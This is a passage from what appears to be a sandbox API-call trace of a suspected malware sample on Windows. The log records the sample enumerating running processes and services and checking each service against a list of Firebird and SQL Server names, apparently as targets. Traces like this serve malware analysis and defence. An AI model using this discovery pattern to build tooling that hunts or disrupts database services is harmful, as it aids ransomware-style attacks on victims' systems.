	[0181.886] Process32NextW (in: hSnapshot=0x558, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0181.887] lstrlenW (lpString="audiodg.exe") returned 11
	[0181.887] Process32NextW (in: hSnapshot=0x558, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0181.887] lstrlenW (lpString="Memory Compression") returned 18
	[0181.887] Process32NextW (in: hSnapshot=0x558, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0181.888] lstrlenW (lpString="taskhostw.exe") returned 13
	[0181.888] Process32NextW (in: hSnapshot=0x558, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0181.888] lstrlenW (lpString="sihost.exe") returned 10
	[0181.888] Process32NextW (in: hSnapshot=0x558, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0181.889] lstrlenW (lpString="svchost.exe") returned 11
	[0181.889] Process32NextW (in: hSnapshot=0x558, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0181.889] lstrlenW (lpString="taskhostw.exe") returned 13
	[0181.889] Process32NextW (in: hSnapshot=0x558, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x9d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0181.889] lstrlenW (lpString="explorer.exe") returned 12
	[0181.889] Process32NextW (in: hSnapshot=0x558, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0181.890] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0181.890] Process32NextW (in: hSnapshot=0x558, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0181.890] lstrlenW (lpString="SearchUI.exe") returned 12
	[0181.890] Process32NextW (in: hSnapshot=0x558, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0181.891] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0181.891] Process32NextW (in: hSnapshot=0x558, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0181.891] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0181.891] Process32NextW (in: hSnapshot=0x558, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 1
	[0181.891] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0181.891] Process32NextW (in: hSnapshot=0x558, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1
	[0181.892] lstrlenW (lpString="consent.exe") returned 11
	[0181.892] Process32NextW (in: hSnapshot=0x558, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0181.892] lstrlenW (lpString="dllhost.exe") returned 11
	[0181.892] Process32NextW (in: hSnapshot=0x558, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0
	[0181.893] CloseHandle (hObject=0x558) returned 1
	[0181.893] Sleep (dwMilliseconds=0x1f4) 
	[0182.394] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3929b10
	[0182.395] EnumServicesStatusExW (in: hSCManager=0x3929b10, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0) returned 0
	[0182.395] GetLastError () returned 0xea
	[0182.395] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1c30) returned 0x38a0958
	[0182.396] EnumServicesStatusExW (in: hSCManager=0x3929b10, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x38a0958, cbBufSize=0x1c30, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x38a0958, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0) returned 1
	[0182.397] CloseServiceHandle (hSCObject=0x3929b10) returned 1
	[0182.397] lstrlenW (lpString="Appinfo") returned 7
	[0182.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0182.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0182.397] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0182.397] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0182.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0182.397] lstrlenW (lpString="AppXSvc") returned 7
	[0182.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0182.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0182.397] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0182.397] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0182.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0182.397] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0182.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0182.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0182.397] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0182.397] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0182.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0182.397] lstrlenW (lpString="Audiosrv") returned 8
	[0182.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0182.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0182.398] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0182.398] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0182.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0182.398] lstrlenW (lpString="BFE") returned 3
	[0182.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0182.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0182.398] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0182.398] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0182.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0182.398] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0182.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0182.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0182.398] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0182.398] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0182.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0182.398] lstrlenW (lpString="CDPSvc") returned 6
	[0182.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0182.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0182.398] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0182.398] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0182.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0182.398] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0182.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0182.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0182.398] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0182.398] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0182.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0182.398] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0182.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0182.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0182.398] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0182.398] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0182.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0182.398] lstrlenW (lpString="CryptSvc") returned 8
	[0182.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0182.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0182.399] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0182.399] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0182.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0182.399] lstrlenW (lpString="DcomLaunch") returned 10
	[0182.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0182.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0182.399] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0182.399] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0182.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0182.399] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0182.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0182.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0182.399] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0182.399] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0182.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0182.399] lstrlenW (lpString="Dhcp") returned 4
	[0182.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0182.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0182.399] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0182.399] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0182.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0182.399] lstrlenW (lpString="Dnscache") returned 8
	[0182.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0182.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0182.399] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0182.399] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0182.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0182.399] lstrlenW (lpString="DPS") returned 3
	[0182.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0182.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0182.399] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0182.399] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0182.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0182.399] lstrlenW (lpString="DusmSvc") returned 7
	[0182.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0182.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0182.400] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0182.400] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0182.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0182.400] lstrlenW (lpString="EventLog") returned 8
	[0182.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0182.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0182.400] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0182.400] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0182.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0182.400] lstrlenW (lpString="EventSystem") returned 11
	[0182.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0182.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0182.400] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0182.400] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0182.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0182.400] lstrlenW (lpString="FontCache") returned 9
	[0182.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0182.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0182.400] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0182.400] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0182.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0182.400] lstrlenW (lpString="gpsvc") returned 5
	[0182.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0182.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0182.400] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0182.400] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0182.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0182.400] lstrlenW (lpString="iphlpsvc") returned 8
	[0182.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0182.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0182.400] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0182.400] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0182.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0182.400] lstrlenW (lpString="KeyIso") returned 6
	[0182.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0182.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0182.401] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0182.401] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0182.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0182.401] lstrlenW (lpString="LanmanServer") returned 12
	[0182.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0182.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0182.401] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0182.401] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0182.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0182.401] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0182.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0182.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0182.401] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0182.401] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0182.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0182.401] lstrlenW (lpString="lfsvc") returned 5
	[0182.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0182.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0182.401] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0182.401] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0182.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0182.401] lstrlenW (lpString="lmhosts") returned 7
	[0182.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0182.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0182.401] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0182.401] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0182.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0182.401] lstrlenW (lpString="LSM") returned 3
	[0182.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0182.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0182.401] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0182.401] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0182.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0182.401] lstrlenW (lpString="MpsSvc") returned 6
	[0182.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0182.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0182.402] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0182.402] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0182.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0182.402] lstrlenW (lpString="NcbService") returned 10
	[0182.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0182.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0182.402] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0182.402] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0182.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0182.402] lstrlenW (lpString="netprofm") returned 8
	[0182.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0182.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0182.402] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0182.402] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0182.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0182.402] lstrlenW (lpString="NgcSvc") returned 6
	[0182.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0182.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0182.402] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0182.402] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0182.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0182.402] lstrlenW (lpString="NlaSvc") returned 6
	[0182.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0182.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0182.402] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0182.402] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0182.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0182.402] lstrlenW (lpString="nsi") returned 3
	[0182.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0182.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0182.402] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0182.402] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0182.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0182.403] lstrlenW (lpString="PcaSvc") returned 6
	[0182.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0182.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0182.403] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0182.403] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0182.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0182.403] lstrlenW (lpString="PlugPlay") returned 8
	[0182.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0182.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0182.403] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0182.403] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0182.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0182.403] lstrlenW (lpString="Power") returned 5
	[0182.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0182.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0182.403] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0182.403] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0182.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0182.403] lstrlenW (lpString="ProfSvc") returned 7
	[0182.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0182.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0182.403] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0182.403] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0182.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0182.403] lstrlenW (lpString="RpcEptMapper") returned 12
	[0182.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0182.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0182.403] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0182.403] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0182.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0182.403] lstrlenW (lpString="RpcSs") returned 5
	[0182.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0182.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0182.403] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0182.403] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0182.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0182.404] lstrlenW (lpString="SamSs") returned 5
	[0182.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0182.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0182.404] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0182.404] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0182.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0182.404] lstrlenW (lpString="Schedule") returned 8
	[0182.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
